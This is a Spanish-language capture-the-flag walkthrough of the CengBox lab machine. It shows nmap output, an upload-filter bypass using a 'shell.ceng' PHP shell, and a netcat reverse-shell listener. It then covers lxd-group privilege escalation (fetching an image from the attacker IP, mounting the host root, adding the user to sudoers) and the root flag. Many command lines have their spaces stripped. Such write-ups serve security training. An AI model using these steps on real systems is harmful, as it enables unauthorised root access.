Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-31 23:09 CEST
Nmap scan report for 192.168.5.159
Host is up (0.0019s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a9:cc:28:f3:8c:f5:0e:3f:5a:ed:13:f3:ad:53:13:9b (RSA)
| 256 f7:3a:a3:ff:a1:f7:e5:1b:1e:6f:58:5f:c7:02:55:9b (ECDSA)
|_ 256 f0:dd:2e:1d:3d:0a:e8:c1:5f:52:7c:55:2c:dc:1e:ef (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: CEng Company
MAC Address: 00:0C:29:CA:B0:E9 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 1.87 ms 192.168.5.159
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.16 seconds
Vemos interesante sobre todo /masteradmin, no podemos entrar en el directamente, pero si le tiraremos un gobuster para ver que subdirectorios nos saca...
Sera con .php pero si subimos por ejemplo un archivo llamado shell.php no nos dejara tiene que ir con una extension determinada de la siguienre manera shell.ceng...
Lo subiremos con esa extension ya que igualmente se ejecutara la shell, no hace falta cambiarlo con BurpSuit ni nada parecido..
Este archivo se subira en una URL que encontramos antes de /uploads en la pagina principal con el primero Gobuster que encontramos...
URL = http://<IP>/uploads/shell.ceng
Ya que si nos vamos a solo /uploads no nos aparecera nada por lo que pondremos el nombre del archivo que subimos, igualmente esto se puede descubrir poniendo el siguiente comando...
Una vez que nos metamos en /uploads/shell.ceng estando a la escucha...
nc-lvnp<PORT>
Nos creara una shell con el usuario www-data por lo que lo tendremos que sanitizar la shell...
script/dev/null-cbash
# <Ctrl> + <z>sttyraw-echo; fgresetxtermexport TERM=xterm# Para ver las dimensiones de nuestra consola en el Hoststtysize# Para redimensionar la consola ajustando los parametros adecuadossttyrows<ROWS>columns<COLUMNS>
Si nos vamos al archivo db.php que vimos antes haciendo un...
Veremos que estamos en un grupo muy caracteristico para escalar privilegios llamado 110(lxd)...
Por lo que haremos lo siguiente...
# build a simple alpine image in your hostgitclonehttps://github.com/saghul/lxd-alpine-buildercdlxd-alpine-buildersudo./build-alpinepython3-mhttp.server80# import the image# It's important doing this from YOUR HOME directory on the victim machine, or it might fail.cd/tmp/wgethttp://<IP>/<FILE_NAME>.tar.gzlxcimageimport./alpine*.tar.gz--aliasmyimage# run the imagelxcinitmyimagemycontainer-csecurity.privileged=true# mount the /root into the imagelxcconfigdeviceaddmycontainermydevicedisksource=/path=/mnt/rootrecursive=true# interact with the containerlxcstartmycontainerlxcexecmycontainer/bin/sh
Una vez hecho todo eso seremos root pero dentro de un contenedor y aunque importemos la carpeta de root al contenedor no va a funcionar, por lo que nos saldremos de ese contenedor y haremos lo siguiente...
# Check the image is therelxcimagelist
Para ver como se llama nuestro contenedor, una vez verificado eso, importaremos un repositorio de github...
URL = https://github.com/initstring/lxd_root
#Importarlogitclonehttps://github.com/initstring/lxd_root.git#Meternos dentro de la carpetacdlxd_root/
bashlxd_rootv1.sh<CONTAINER_NAME>
Info:
[+] Stopping container mycontainer
[+] Setting container security privilege on
[+] Starting container mycontainer
[+] Mounting host root filesystem to mycontainer
error: More than one disk device uses the same path: /mnt/root.
[+] Using container to add cengover to /etc/sudoers
[+] Unmounting host root filesystem from mycontainer
error: The device doesn't exist
[+] Resetting container security privilege to off
[+] Stopping the container
[+] Done! Enjoy your sudo superpowers!
Si nos aparece esto tal cual es que funciono comprobandolo de la siguiente manera...
sudoid
uid=0(root) gid=0(root) groups=0(root)
Una vez visto eso, tendremos que hacer...
sudosu
Y ya seriamos root, por lo que leemos la flag en la carpeta de root...
root.txt (flag2)
/ ____| ____| | _ \
| | | |__ _ __ __ _| |_) | _____ __
| | | __| | '_ \ / _` | _ < / _ \ \/ /
| |____| |____| | | | (_| | |_) | (_) > <
\_____|______|_| |_|\__, |____/ \___/_/\_\
__/ |
|___/
Congrats. Hope you enjoyed it and you can contact me on Twitter @arslanblcn_
a51e522b22a439b8e1b22d84f71cf0f2